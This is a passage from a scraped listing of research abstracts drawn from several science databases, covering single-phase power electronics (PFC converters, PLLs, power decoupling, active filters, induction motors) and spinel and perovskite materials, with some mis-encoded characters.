permanent magnetic field, is beneficially...... used to reduce the torque ripple and enable self-starting of the machine. The starting torque of this machine is significantly improved by a slight extension of the stator pole-arc. A prototype machine and a complete drive system has been manufactured and tested. Results are given in this paper.... 5. Evaluation of 600V Superjunction Devices in Single Phase PFC Applications under CCM Operation DEFF Research Database (Denmark) Hernandez Botella, Juan Carlos; Petersen, Lars Press; Andersen, Michael A. E. 2014-01-01 This paper pr esents a power density/efficiency evaluation in single phase power factor correction (PFC) applications operating in continuous conduction mode (CCM). The comparison is based on semiconductor dynamic characterization and a mathematical model for prediction of the conducted electroma......This paper pr esents a power density/efficiency evaluation in single phase power factor correction (PFC) applications operating in continuous conduction mode (CCM). The comparison is based on semiconductor dynamic characterization and a mathematical model for prediction of the conducted...... electromagnetic interference (EMI). The dynamic characterization is based on a low inductive double pulse tester (DPT). The measured switching energy is used in order to evaluate the devices performance in a conventional PFC. This data is used together with the mathematical model for prediction of the conducted...... electromagnetic interference. The method allows comparing different devices and evaluating the performance as a function of the PFC power density and efficiency.... 6. Power decoupling with autonomous reference generation for single-phase differential inverters DEFF Research Database (Denmark) Yao, Wenli; Zhang, Xiaobin; Wang, Xiongfei 2015-01-01 The second-harmonic power ripple in single-phase inverter may introduce the issue of low reliability and low power density. In order to replace the bulky dc-link capacitor, an alternative approach is to use active power decoupling so that the ripple power can be diverted into other energy storages...... are used for realizing an improved power decoupling control, capacitor voltage and inductor current regulation. By substituting the corresponding parameter into unified model, the proposed control loop can be applied to different inverter types (Buck, Buck-Boost and Boost). Finally, detailed laboratory....... However, the performance of existing active power decoupling methods depends heavily on certain control references, which unfortunately are parameter dependent. In this paper an autonomous reference generation technique is proposed for single phase differential inverter without relying on the system... 7. DQ reference frame modeling and control of single-phase active power decoupling circuits DEFF Research Database (Denmark) Tang, Yi; Qin, Zian; Blaabjerg, Frede 2015-01-01 Power decoupling circuits can compensate the inherent double line frequency ripple power in single-phase systems and greatly facilitate their dc-link capacitor design. Example applications of power decoupling circuit include photovoltaic, light-emitting diode, fuel cell, and motor drive systems....... This paper presents the dq synchronous reference frame modeling of single-phase power decoupling circuits and a complete model describing the dynamics of dc-link ripple voltage is presented. The proposed model is universal and valid for both inductive and capacitive decoupling circuits, and the input...... of decoupling circuits can be either dependent or independent of its front-end converters. Based on this model, a dq synchronous reference frame controller is designed which allows the decoupling circuit to operate in two different modes because of the circuit symmetry. Simulation and experimental results... 8. Ion beam induced single phase nanocrystalline TiO2 formation Science.gov (United States) Rukade, Deepti A.; Tribedi, L. C.; Bhattacharyya, Varsha 2014-06-01 Single phase TiO2 nanostructures are fabricated by oxygen ion implantation (60 keV) at fluence ranging from 1×1016 ions/cm2 to 1×1017 ions/cm2 in titanium thin films deposited on fused silica substrate and subsequent thermal annealing in argon atmosphere. GAXRD and Raman spectroscopy study reveals formation of single rutile phases of TiO2. Particle size is found to vary from 29 nm to 35 nm, establishing nanostructure formation. Nanostructure formation is also confirmed by the quantum confinement effect manifested by the blueshift of the UV-vis absorption spectra. Photoluminescence spectra show peaks corresponding to TiO2 rutile phase and reveal the presence of oxygen defects due to implantation. The controlled synthesis of single phase nanostructure is attributed to ion induced defects and post-implantation annealing. It is observed that the size of the nanostructures formed is strongly dependent on the ion fluence. 9. A New Power Calculation Method for Single-Phase Grid-Connected Systems DEFF Research Database (Denmark) Yang, Yongheng; Blaabjerg, Frede 2013-01-01 A new method to calculate average active power and reactive power for single-phase systems is proposed in this paper. It can be used in different applications where the output active power and reactive power need to be calculated accurately and fast. For example, a grid-connected photovoltaic...... system in low voltage ride through operation mode requires a power feedback for the power control loop. Commonly, a Discrete Fourier Transform (DFT) based power calculation method can be adopted in such systems. However, the DFT method introduces at least a one-cycle time delay. The new power calculation...... method, which is based on the adaptive filtering technique, can achieve a faster response. The performance of the proposed method is verified by experiments and demonstrated in a 1 kW single-phase grid-connected system operating under different conditions.Experimental results show the effectiveness... 10. An efficiency improved single-phase PFC converter for electric vehicle charger applications DEFF Research Database (Denmark) Zhu, Dexuan; Tang, Yi; Jin, Chi 2013-01-01 This paper presents an efficiency improved single-phase power factor correction (PFC) converter with its target application to plug-in hybrid electric vehicle (PHEV) charging systems. The proposed PFC converter features sinusoidal input current, three-level output characteristic, and wide range...... of output DC voltage. Moreover, the involved DC/DC buck conversion stage may only need to convert partial input power rather than full scale of input power, and therefore the system overall efficiency can be much improved. Through proper control of the buck converter, it is also possible to mitigate...... the double-line frequency ripple power that is inherent in a single-phase AC/DC system. Both simulation and experimental results are presented to show the effectiveness of this converter.... 11. Benchmarking of Grid Fault Modes in Single-Phase Grid-Connected Photovoltaic Systems DEFF Research Database (Denmark) Yang, Yongheng; Blaabjerg, Frede; Zou, Zhixiang 2013-01-01 Pushed by the booming installations of singlephase photovoltaic (PV) systems, the grid demands regarding the integration of PV systems are expected to be modified. Hence, the future PV systems should become more active with functionalities of Low Voltage Ride-Through (LVRT) and grid support...... capability. The control methods, together with grid synchronization techniques, are responsible for the generation of appropriate reference signals in order to handle ride-through grid faults. Thus, it is necessary to evaluate the behaviors of grid synchronization methods and control possibilities in single...... phase systems under grid faults. The intent of this paper is to present a benchmarking of grid fault modes that might come in future single-phase PV systems. In order to map future challenges, the relevant synchronization and control strategies are discussed. Some faulty modes are studied experimentally... 12. Nanoparticles of spinel and perovskite ferromagnets and prospects for their application in medicine Energy Technology Data Exchange (ETDEWEB) Belous, A. G., E-mail: [email protected], E-mail: [email protected], E-mail: [email protected]; Solopan, S. O., E-mail: [email protected], E-mail: [email protected], E-mail: [email protected]; Yelenich, O. V., E-mail: [email protected], E-mail: [email protected], E-mail: [email protected] [Institute of General and Inorganic Chemistry, prospekt Palladina 32-34, 03142 Kyiv (Ukraine); Tovstolytkin, A. I., E-mail: [email protected] [Institute of Magnetism, bulvar Vernadskoho 36-b, 03142 Kyiv (Ukraine); Kolodiazhnyi, T. V., E-mail: [email protected] [National Institute for Materials Science, 1-1 Namiki, Tsukuba, Ibaraki 305-0044 (Japan); Osinsky, S. P., E-mail: [email protected], E-mail: [email protected]; Bubnovskaya, L. N., E-mail: [email protected], E-mail: [email protected] [R.E. Kavetsky Institute of Experimental Pathology, Oncology and Radiobiology, vul. Vasylkivska 45, 03022 Kyiv (Ukraine) 2014-11-05 In this work, nanoparticles of La{sub 0.75}Sr{sub 0.25}MnO{sub 3} compounds with perovskite structure and AFe{sub 2}O{sub 4} (A = Mn, Fe, Co, Ni, Zn) with spinel structure have been synthesized by precipitation from diethylene glycol and microemulsion using Triton X-100 surfactant. Comparative X-ray diffraction and magnetic studies of the synthesized nanoparticles have been carried out. Magnetic fluids prepared from synthesized nanopowders have been characterized by calorimetric measurements of specific loss power (SLP) 13. Simulation of the phenomenon of single-phase and two-phase natural circulation International Nuclear Information System (INIS) Castrillo, Lazara Silveira 1998-02-01 Natural convection phenomenon is often used to remove the residual heat from the surfaces of bodies where the heat is generated e.g. during accidents or transients of nuclear power plants. Experimental study of natural circulation can be done in small scale experimental circuits and the results can be extrapolated for larger operational facilities. The numerical analysis of transients can be carried out by using large computational codes that simulate the thermohydraulic behavior in such facilities. The computational code RELAP5/MOD2, (Reactor Excursion and Leak Analysis Program) was developed by U.S. Nuclear Regulatory Commissions's. Division of Reactor Safety Research with the objective of analysis of transients and postulated accidents in the light water reactor (LWR) systems, including small and large ruptures with loss of coolant accidents (LOCA's). The results obtained by the simulation of single-phase and two-phase natural circulation, using the RELAP5/MOD2, are presented in this work. The study was carried out using the experimental circuit built at the 'Departamento de Engenharia Quimica da Escola Politecnica da Universidade de Sao Paulo'. In the circuit, two experiments were carried out with different conditions of power and mass flow, obtaining a single-phase regime with a level of power of 4706 W and flow of 5.10 -5 m 3 /s (3 l/min) and a two-phase regime with a level of power of 6536 W and secondary flow 2,33.10 -5 m 3 /s (1,4 l/min). The study allowed tio evaluate the capacity of the code for representing such phenomena as well as comparing the transients obtained theoretically with the experimental results. The comparative analysis shows that the code represents fairly well the single-phase transient, but the results for two-phase transients, starting from the nodalization and calibration used for the case single-phase transient, did not reproduce faithfully some experimental results. (author) 14. A New Synchronous Reference Frame-Based Method for Single-Phase Shunt Active Power Filters DEFF Research Database (Denmark) Monfared, Mohammad; Golestan, Saeed; Guerrero, Josep M. 2013-01-01 This paper deals with the design of a novel method in the synchronous reference frame (SRF) to extract the reference compensating current for single-phase shunt active power filters (APFs). Unlike previous works in the SRF, the proposed method has an innovative feature that it does not need the f...... the excellent performance of the suggested approach. Theoretical evaluations are confirmed by experimental results.... 15. Decoupling of Fluctuating Power in Single-Phase Systems Through a Symmetrical Half-Bridge Circuit DEFF Research Database (Denmark) Tang, Yi; Blaabjerg, Frede; Loh, Poh Chiang 2015-01-01 Single-phase ac/dc or dc/ac systems are inherently subject to the harmonic disturbance that is caused by the well-known double-line frequency ripple power. This issue can be eased through the installation of bulky electrolytic capacitors in the dc link. Unfortunately, such passive filtering...... power decoupling method, and both the input current and output voltage of the converter can be well regulated even when very small dc-link capacitors are employed.... 16. A re-look at critical factors influencing single-phase formation of Ba2 ... TECS BaSnO3, B2O3 etc, single-phase 2: 9 has been achieved through solid-state route (Yu et al 1994; Lin and Robert. 1999; Wang et al 2003). It is recorded in literature that phase pure 2:9 ceramics without any stabilizing agent will result in better material for microwave dielectric applica- tions (Lin et al 1997; Lin and Robert ... 17. Single-phase DECT with VNCT compared with three-phase CTU in patients with haematuria Energy Technology Data Exchange (ETDEWEB) Park, Jung Jae; Park, Byung Kwan; Kim, Chan Kyo [Sungkyunkwan University School of Medicine, Department of Radiology, Samsung Medical Center, Seoul (Korea, Republic of) 2016-10-15 To retrospectively evaluate the diagnostic performance of single-phase dual-energy CT (DECT) with virtual non-contrast CT (VNCT) compared with three-phase CT urography (CTU) in patients with haematuria. A total of 296 patients underwent three-phase CTU (NCT at 120 kVp; nephrographic phase and excretory phase DECTs at 140 kVp and 80 kVp) owing to haematuria. Diagnostic performances of CT scans were compared for detecting urothelial tumours and urinary stones. Dose-length product (DLP) was compared in relation to single-phase DECT and three-phase CTU Dose-length product (DLP) was compared in relation to single-phase DECT and three-phase CTU. Sensitivity and specificity for tumour were 95 % (19/20) and 98.9 % (273/276) on CTU, 95 % (19/20) and 98.2 % (271/276) on nephrographic phase DECT, and 90 % (18/20) and 98.2 % (271/276) on excretory phase DECT (P > 0.1). Of the 148 stones detected on NCT, 108 (73 %) and 100 (67.6 %) were detected on nephrographic phase and excretory phase VNCTs, respectively. The mean size of stones undetected on nephrographic and excretory VNCTs was measured as 1.5 ± 0.5 mm and 1.6 ± 0.6 mm, respectively. The mean DLPs of three-phase CTU, nephrographic phase DECT and excretory phase DECT were 1076 ± 248 mGy . cm, 410 ± 98 mGy . cm, and 360 ± 87 mGy . cm, respectively (P < 0.001). Single-phase DECT has a potential to replace three-phase CTU for detecting tumours with a lower radiation dose. (orig.) 18. Modeling and analysis of variable speed single phase induction motors with iron loss International Nuclear Information System (INIS) 2009-01-01 Despite their usual low power ratings of single phase induction motors, they consume a considerable part of total motors energy consumption due to their large and ever-increasing quantity. The recent rising of oil prices and environmental crises has fortified the idea of energy saving practices in all applications; particularly in single phase induction motors due to their typical low efficiency. An essential requirement for this practice is the modeling and analysis of machine electrical losses under variable frequency operation. In this paper an improved steady state model of single phase induction motors is derived to investigate major motor characteristics like torque-speed, input power, output power, etc. A special emphasis is placed on accurately representing core losses at variable frequency. The winding currents phase difference is reintroduced as a fundamental motor variable to determine motor performances including losses and efficiency. An advanced computerized motor test setup is designed and built for on-line measurement of motor characteristics at different supply and operating conditions. The extensive experimental results, in good agreement with the simulation results based on the mentioned analysis, confirm the validity of the proposed model. 19. SINGLE-PHASE AND TWO-PHASE SECONDARY COOLANTS: SIMULATION AND EVALUATION OF THEIR THERMOPHYSICAL PROPERTIES Directory of Open Access Journals (Sweden) Pedro Samuel Gomes Medeiros 2011-09-01 Full Text Available This paper makes a comparative analysis of the thermophysical properties of ice slurry with conventional single-phase secondary fluids used in thermal storage cooling systems. The ice slurry is a two-phase fluid consisting of water, antifreeze and ice crystals. It is a new technology that has shown great energy potential. In addition to transporting energy as a heat transfer fluid, it has thermal storage properties due to the presence of ice, storing coolness by latent heat of fusion. The single-phase fluids analyzed are water-NaCl and water-propylene glycol solutions, which also operate as carrier fluids in ice slurry. The presence of ice changes the thermophysical properties of aqueous solutions and a number of these properties were determined: density, thermal conductivity and dynamic viscosity. Data were obtained by software simulation. The results show that the presence of 10% by weight of ice provides a significant increase in thermal conductivity and dynamic viscosity, without causing changes in density. The rheological behavior of ice slurries, associated with its high viscosity, requires higher pumping power; however, this was not significant because higher thermal conductivity allows a lower mass flow rate without the use of larger pumps. Thus, the ice slurry ensures its high potential as a secondary fluid in thermal storage cooling systems, proving to be more efficient than single-phase secondary fluids. 20. Spin Filtering in Epitaxial Spinel Films with Nanoscale Phase Separation KAUST Repository Li, Peng 2017-05-08 The coexistence of ferromagnetic metallic phase and antiferromagnetic insulating phase in nanoscaled inhomogeneous perovskite oxides accounts for the colossal magnetoresistance. Although the model of spin-polarized electron transport across antiphase boundaries has been commonly employed to account for large magnetoresistance (MR) in ferrites, the magnetic anomalies, the two magnetic phases and enhanced molecular moment, are still unresolved. We observed a sizable MR in epitaxial spinel films (NiCo2O4-δ) that is much larger than that commonly observed in spinel ferrites. Detailed analysis reveals that this MR can be attributed to phase separation, in which the perfect ferrimagnetic metallic phase and ferrimagnetic insulating phase coexist. The magnetic insulating phase plays an important role in spin filtering in these phase separated spinel oxides, leading to a sizable MR effect. A spin filtering model based on Zeeman effect and direct tunneling is developed to account for MR of the phase separated films. 1. Effect of mulitivalent cation dopants on lithium manganese spinel cathodes CSIR Research Space (South Africa) De Kock, A 1998-02-01 Full Text Available Mn,m,jM,,,,,O,+, spinels with hl = Mg?, Zn?+ and A13+, 0 < d I 0.15, h = 2 or 3 and 6 = 0 were synthesised by reaction of the required stoichiometric amounts of LiOH H,,O, MnOz and either Mg(NO,), 6H,O, Zn(NO,), 2H,O or Al(NO,), . 9Hz0..., when the average manganese oxidation state is 3.5 (Table 1). The doped LiMn,_ dMd, hO4 spinels have an average manganese oxidation state greater than 3.5 with the specific value dependent on the doping level. These doped spinels can... 2. Compositional Variation of Chrome Spinels in the Ore-bearing Zones of the Kraka Ophiolite and the Chromitite Origin OpenAIRE D. E. Saveliev; I. A. Blinov 2017-01-01 The article considers a chemical variation of accessory and ore-forming chrome spinels from the Kraka ultramafic massif at the different scales, from the deposit to the thin section. A correlation analysis of compositional and structural features of ultramafic rocks and ores was performed. The ultramafic rocks and chromitites in the studied massif show the distinct deformation structures and tectonite olivine fabric. A typical chemical gap (i.e. Cr#=Cr/(Cr+Al)) was observed between peridotite... 3. Structure and Magnetism of Nanocrystalline and Epitaxial (Mn,Zn,Fe)3O4 Science.gov (United States) 2012-01-01 excitation. In particular, photomagnetism has been observed in a few spinel structure materials,2,3 including doped spinel structure ferrites and... ferrite films have been identified to exhibit photomagnetic effects at room temperature.7,8 Because optical sensitivity of spinel ferrites can be...and epitaxial (Mn,Zn,Fe)3O4 (MZFO) spinel thin films with their magnetic properties. X-ray diffraction (XRD) studies indicate that room temperature 4. Effect of duration of the pause single-phase auto-reclosing on electro-power transmission capacitance Directory of Open Access Journals (Sweden) Krasil'nikova Tatyana 2017-01-01 Full Text Available This paper discusses the problem associated with accidents in the aerial line (AL ultra-high voltage (UHV due to its big length. In lines with a voltage of 500-1150 kV the overwhelming proportion of trips (98% is caused by single-phase short circuit (SPSC. A substantial portion (70% single-phase short circuits is erratic arc accidents which can be successfully eliminated in a high-speed auto-reclosing (HSAR or single-phase auto-reclosing (SPAR. Success single-phase auto-reclosing (SPAR at liquidation by single-phase short circuit (SPSC, on the one hand, is determined by the characteristics of the secondary arc current, and on the other hand the effectiveness of ways to reduce secondary arc current and recovery voltage development. The minimum dead time, at a HSAR it is usually taken as 0.5 s., at single-phase autoreclosing (SPAR it depends on the current value of the arc support is in the range of 0.5-3.0 s. The article shows high efficiency of use single-phase auto reclosing (SPAR at liquidation SPSC in a single-chain AL voltage of 500 kV, the dependence of the bandwidth of transmission in maintaining the dynamic stability from the length of the pause SPAR. 5. Structural, impedance and MÃ¶ssbauer studies of magnesium ferrite synthesized via solâgel auto-combustion process Directory of Open Access Journals (Sweden) Shahid Khan Durrani 2017-12-01 Full Text Available Crystalline magnesium ferrite (MgFe2O4 spinel oxide powder was synthesized by nitrateâcitrate solâgel auto-combustion process with stoichiometric composition of metal nitrate salts, urea and citric acid. The study was focused on the modification of synthesis conditions and effect of these modified conditions on the structural and electrical properties of synthesized MgFe2O4 ceramic materials. Phase composition, crystallinity, structure and surface morphology were studied by X-ray diffraction, FTIR and SEM. Pure single phase MgFe2O4 spinel ferrite was obtained after calcination at 850Â Â°C. Rietveld refinement of XRD result confirmed the single cubic phase spinel oxide with the lattice constant of aÂ =Â 8.3931Â Ã and Fd3m symmetry. UVâvisible absorption study of calcined powder revealed an optical band gap of 2.17Â eV. SEM images of sintered specimens (1050â1450Â Â°C showed that the grain size increased with the increase in sintering temperature. From the impedance results of the sintered MgFe2O4 specimens, it was found that the resistance of grain, grain boundary and electrode effect decreased with an increase in sintering temperature and associated grain growth. In the intermediate frequency region lowering of impedance and dielectric values was observed due to the decrease in grain boundary areas. MÃ¶ssbauer studies indicated that magnesium ferrite had a mixed spinel structure in calcined and sintered samples, however, the well refined single phase MgFe2O4 was observed due to well developed high crystalline structure at 1350Â Â°C and 1450Â Â°C. Keywords: Solâgel auto-combustion, Magnesium ferrite, X-ray diffraction, SEM, MÃ¶ssbauer spectroscopy, Impedance spectroscopy 6. In-situ synchrotron PXRD study of spinel LiMn2O4 formation DEFF Research Database (Denmark) Birgisson, Steinar; Jensen, Kirsten Marie Ørnsbjerg; Christiansen, Troels Lindahl Spinel LiMn2O4 is a well-known cathode material for Li-ion batteries. It is considered to be a safer, more environmentally friendly and cheaper alternative to the widely used LiCoO2 cathode material. During charging/discharging of a Li-ion battery it is necessary for the Li-ions to be extracted......-ions can diffuse in and out of the structure. The spinel structure of LiMn2O4 allows for a three dimensional Li-ion diffusion via tetrahedral and octahedral holes in the cubic close packed oxide structure. By using LiMn2O4 nanoparticles as a cathode material for Li-ion batteries instead of micronsized...... particles the diffusion lengths inside the cathode material structure are significantly shorter. Therefore higher specific capacity and more specific power can be achieved by using nanoparticles instead of micro particles [S.H. Ye et al, Electrochim. Acta 49 (2004) 1623]. We have shown that it is possible... 7. Empirical constraints on partitioning of platinum group elements between Cr-spinel and primitive terrestrial magmas Science.gov (United States) Park, Jung-Woo; Kamenetsky, Vadim; Campbell, Ian; Park, Gyuseung; Hanski, Eero; Pushkarev, Evgeny 2017-11-01 Recent experimental studies and in situ LA-ICP-MS analysis on natural Cr-spinel have shown that Rh and IPGEs (Ir-group platinum group elements: Ru, Ir, Os) are enriched in the lattice of Cr-spinel. However, the factors controlling the partitioning behaviour of these elements are not well constrained. In this study, we report the Rh, IPGE, and trace element contents in primitive Cr-spinel, measured by LA-ICP-MS, from nine volcanic suites covering various tectonic settings including island arc picrites, boninites, large igneous province picrites and mid-ocean ridge basalts. The aim is to understand the factors controlling the enrichment of Rh and IPGEs in Cr-spinels, to estimate empirical partition coefficients between Cr-spinel and silicate melts, and to investigate the role of Cr-spinel fractional crystallization on the PGE geochemistry of primitive magmas during the early stages of fractional crystallization. There are systematic differences in trace elements, Rh and IPGEs in Cr-spinels from arc-related magmas (Arc Group Cr-spinel), intraplate magmas (Intraplate Group Cr-spinel), and mid-ocean ridge magmas (MORB Group Cr-spinel). Arc Group Cr-spinels are systematically enriched in Sc, Co and Mn and depleted in Ni compared to the MORB Group Cr-spinels. Intraplate Group Cr-spinels are distinguished from the Arc Group Cr-spinels by their high Ni contents. Both the Arc and Intraplate Group Cr-spinels have total Rh and IPGE contents of 22-689 ppb whereas the MORB Group Cr-spinels are depleted in Rh and IPGE (total controlled by a combination of the Rh and IPGE contents in parental melts and the magnetite component of the spinel. Empirical partition coefficients (D) for Rh and IPGEs between Cr-spinels and silicate melts were calculated using the Rh and IPGE contents of the Cr-spinel and their host volcanic rocks after subtracting the accumulation effect of Cr-spinel. The D values for the Intraplate and MORB Group Cr-spinels increase with increasing magnetite component 8. High Performance Harmonic Isolation By Means of The Single-phase Series Active Filter Employing The Waveform Reconstruction Method DEFF Research Database (Denmark) Senturk, Osman Selcuk; Hava, Ahmet M. 2009-01-01 This paper proposes the Waveform Reconstruction Method (WRM), which is utilized in the single-phase Series Active Filter's (SAF's) control algorithm, in order to extract the load harmonic voltage component of voltage harmonic type single-phase diode rectifier loads. Employing WRM and the line...... current sampling delay reduction method (SDRM), a single-phase SAF compensated system provides higher harmonic isolation performance and higher stability margins compared to the system using conventional synchronous reference frame based methods. The analytical, simulation, and experimental studies of a 2... 9. Fabrication of single phase 2D homologous perovskite microplates by mechanical exfoliation Science.gov (United States) Li, Junze; Wang, Jun; Zhang, Yingjun; Wang, Haizhen; Lin, Gaoming; Xiong, Xuan; Zhou, Weihang; Luo, Hongmei; Li, Dehui 2018-04-01 The two-dimensional (2D) Ruddlesden-Popper type perovskites have attracted intensive interest for their great environmental stability and various potential optoelectronic applications. Fundamental understanding of the photophysical and electronic properties of the 2D perovskites with pure single phase is essential for improving the performance of the optoelectronic devices and designing devices with new architectures. Investigating the optical and electronic properties of these materials with pure single phase is required to obtain pure single phase 2D perovskites. Here, we report on an alternative approach to fabricate (C4H9NH3)2(CH3NH3) n-1Pb n I3n+1 microplates with pure single n-number perovskite phase for n > 2 by mechanical exfoliation. Micro-photoluminescence and absorption spectroscopy studies reveal that the as-synthesized 2D perovskite plates for n > 2 are comprised by dominant n-number phase and small inclusions of hybrid perovskite phases with different n values, which is supported by excitation power dependent photoluminescence. By mechanical exfoliation method, 2D perovskite microplates with the thickness of around 20 nm are obtained, which surprisingly have single n-number perovskite phase for n = 2-5. In addition, we have demonstrated that the exfoliated 2D perovskite microplates can be integrated with other 2D layered materials such as boron nitride, and are able to be transferred to prefabricated electrodes for photodetections. Our studies not only provide a strategy to prepare 2D perovskites with a single n-number perovskite phase allowing us to extract the basic optical and electronic parameters of pure phase perovskites, but also demonstrate the possibility to integrate the 2D perovskites with other 2D layered materials to extend the device’s functionalities. 10. Synthesis and magnetic properties of tin spinel ferrites doped manganese Energy Technology Data Exchange (ETDEWEB) El Moussaoui, H., E-mail: [email protected] [Institute of Nanomaterials and Nanotechnologies, MAScIR, Rabat (Morocco); Mahfoud, T.; Habouti, S. [Institute of Nanomaterials and Nanotechnologies, MAScIR, Rabat (Morocco); El Maalam, K.; Ben Ali, M. [Institute of Nanomaterials and Nanotechnologies, MAScIR, Rabat (Morocco); Laboratoire of Magnetism and the Physics of the high Energies, URAC 12, Departement of physique, B.P. 1014, Faculty of science, Mohammed V University, Rabat (Morocco); Hamedoun, M.; Mounkachi, O. [Institute of Nanomaterials and Nanotechnologies, MAScIR, Rabat (Morocco); Masrour, R. [Laboratory of Materials, Processes, Environment and Quality, Cady Ayyed University, National School of Applied Sciences, Route Sidi Bouzid – BP 63, 46000 Safi (Morocco); Hlil, E.K. [Institut Néel, CNRS-UJF, B.P. 166, 38042 Grenoble Cedex (France); Benyoussef, A. [Institute of Nanomaterials and Nanotechnologies, MAScIR, Rabat (Morocco); Laboratoire of Magnetism and the Physics of the high Energies, URAC 12, Departement of physique, B.P. 1014, Faculty of science, Mohammed V University, Rabat (Morocco); Hassan II Academy of Science and Technology, Rabat (Morocco) 2016-05-01 In this work we report the synthesis, the microstructural characterization and the magnetic properties of tin spinel ferrites doped manganese (Sn{sub 1−x}Mn{sub x}Fe{sub 2}O{sub 4} with x=0.25, 0.5, 0.75, and 1) nanoparticles prepared by co-precipitation method. The effect of annealing temperature on the structure, morphology and magnetic properties of Sn{sub 0.5}Mn{sub 0.5}Fe{sub 2}O{sub 4} has been investigated. The synthesized nanoparticle sizes have been controlled between 4 and 9 nm, with uniform spherical morphology as confirmed by transmission electron microscopy (TEM). All the samples prepared possess single domain magnetic. The nanoparticles of Sn{sub 0.5}Mn{sub 0.5}Fe{sub 2}O{sub 4} with 4 nm in diameter have a blocking temperature close to 100 K. In addition, the cation distribution obtained from the X-ray diffraction of this sample was confirmed by magnetic measurement. For the Sn{sub 1−x}Mn{sub x}Fe{sub 2}O{sub 4}; (0≤x≤1) samples, the magnetization and coercive fields increase when the augmentation of Mn content increases. For x=0.5, such parameters decrease when the calcination temperature increases. - Highlights: • We have studied the microstructural and the magnetic properties of Sn{sub 1-x}MnxFe{sub 2}O{sub 4}. • The nanoparticles of Sn{sub 0.5}Mn{sub 0.5}Fe{sub 2}O{sub 4} have a blocking temperature around 100 K. • The Ms and Hc increase with the augmentation of Mn content. 11. Sodium storage capability of spinel Li4Mn5O12 International Nuclear Information System (INIS) Zhang, Jiaolong; Wang, Wenhui; Li, Yingshun; Yu, Denis Y.W. 2015-01-01 Highlights: • Electrochemical behavior of spinel Li 4 Mn 5 O 12 is examined in Na-ion battery. • A capacity of 120.7 mAh g −1 is obtained during the first sodiation process. • Na storage performance is found to be strongly dependent on particle size. • Ion-exchange between Li ions and Na ions occurs in Li 4 Mn 5 O 12 structure upon cycling. • Loss of crystallinity with cycling, leading to capacity fading. - Abstract: Spinel Li 4 Mn 5 O 12 , a well-known 3 V Li-ion battery (LIB) material with excellent cycling stability and good rate capability, is examined as Na-ion battery (NIB) cathode for the first time. Electrochemical studies clearly show that Na ions can be reversibly inserted into and extracted from the three-dimensional spinel structure. However, unlike in LIB, the available capacity in NIB is strongly dependent on the particle size and current rate due to the sluggish Na-ion transport in solid phase. Cycle performance of Li 4 Mn 5 O 12 in NIB is also inferior to that in LIB. Ex-situ X-ray diffraction study indicates a gradual loss of crystallinity with cycling, and that the crystal lattice undergoes an irreversible expansion during the initial 20 cycles. Inductively coupled plasma spectroscopy shows a decrease of Li/Mn ratio in Li 4 Mn 5 O 12 with cycling. The results suggest that Li ions are removed from the material during the charging process. The charge-discharge mechanism is also discussed in the paper. 12. Reliable Grid Condition Detection and Control of Single-Phase Distributed Power Generation Systems DEFF Research Database (Denmark) Ciobotaru, Mihai to the utility grid but also to sustain it. This thesis was divided into two main parts, namely "Grid Condition Detection" and "Control of Single-Phase DPGS". In the first part, the main focus was on reliable Phase Locked Loop (PLL) techniques for monitoring the grid voltage and on grid impedance estimation...... of the entire system. Regarding the advance control of DPGS, an active damping technique for grid-connected systems using inductor-capacitorinductor (LCL) filters was proposed in the thesis. The method is based on a notch filter, whose stopband can be automatically adjusted in relation with an estimated value... 13. Power quality improvement of single-phase photovoltaic systems through a robust synchronization method DEFF Research Database (Denmark) Hadjidemetriou, Lenos; Kyriakides, Elias; Yang, Yongheng 2014-01-01 An increasing amount of single-phase photovoltaic (PV) systems on the distribution network requires more advanced synchronization methods in order to meet the grid codes with respect to power quality and fault ride through capability. The response of the synchronization technique selected...... to the harmonic voltage distortion without affecting the dynamic response of the synchronization. Therefore, the accurate response of the proposed MHDC-PLL enhances the power quality of the PV inverter systems and additionally, the proper fault ride-through operation of PV systems can be enabled by the fast... 14. Frequency Adaptive Repetitive Control of Grid-Tied Single-Phase PV Inverters DEFF Research Database (Denmark) Zhou, Keliang; Yang, Yongheng; Blaabjerg, Frede 2015-01-01 . This paper thus explores a frequency adaptive repetitive control strategy for grid converters, which employs fractional delay filters in order to adapt to the change of the grid frequency. Case studies with experimental results of a single-phase grid-connected PV inverter system are provided to verify......The internal model principle based Repetitive Control (RC) offers an accurate control strategy for grid-tied power converters to feed sinusoidal current into the grid. However, in the presence of grid frequency variations, the conventional RC fails to produce high quality feeding current...... the proposed controller.... 15. Design and analysis of sensorless torque optimization for single phase induction motors International Nuclear Information System (INIS) 2006-01-01 Single phase induction motors are traditionally used in constant speed applications and suffer from unsymmetrical performance. A reliable speed signal can improve their performance and extend their applications as variable speed drives. In this paper, a speed estimation method for these motors is proposed based on a machine model in the stator flux reference frame. The method is examined in a sensorless torque optimization system over a wide operating range. Extensive simulation results prove the validity of the proposed method. Also, the motor performance under the torque optimization system is analyzed 16. Indirect Control of a low power Single-Phase Active Power Filter Directory of Open Access Journals (Sweden) SILVIU EPURE 2010-12-01 Full Text Available This paper deals with a low power, single phase active filter used to compensate nonlinear loads. The filter uses the indirect control method and it is based on a particular connection between filter, polluting load and grid to avoid timeconsuming mathematic operations or signal processing computations and assures good rejection of harmonic currents injected by the nonlinear load into the grid. A scale model was first simulated in Simulink and then physically implemented. The paper presents simulation and experimental results, and highlight problems encountered during experiments. 17. Pressure drop and heat transfer of lithium single-phase flow under transverse magnetic field International Nuclear Information System (INIS) Takahashi, Minoru; Aritomi, Masanori; Inoue, Akira; Matsuzaki, Mitsuo 1996-01-01 Pressure drop and heat transfer characteristics of a lithium single-phase flow in a rectangular channel was investigated experimentally in the presence of a magnetic field. Friction loss coefficient under non-magnetic field and skin friction coefficient under magnetic field agreed well with the Blasius formula and a simple analytical expression, respectively. Nusselt number under non-magnetic field was slightly lower than the correlation by Hartnett and Irvine. Heat transfer was enhanced by increasing magnetic field above the Hartmann number of about 200. (author) 18. Benchmarking of small-signal dynamics of single-phase PLLs DEFF Research Database (Denmark) Zhang, Chong; Wang, Xiongfei; Blaabjerg, Frede 2015-01-01 Phase-looked Loop (PLL) is a critical component for the control and grid synchronization of grid-connected power converters. This paper presents a benchmarking study on the small-signal dynamics of three commonly used PLLs for single-phase converters, including enhanced PLL, second......-order generalized integrator based PLL, and the inverse-PLL. First, a unified small-signal model of those PLLs is established for comparing their dynamics. Then, a systematic design guideline for parameters tuning of the PLLs is formulated. To confirm the validity of theoretical analysis, nonlinear time... 19. An LLCL Power Filter for Single-Phase Grid-Tied Inverter DEFF Research Database (Denmark) Wu, Weimin; He, Yuanbin; Blaabjerg, Frede 2012-01-01 This paper presents a new topology of higher order power 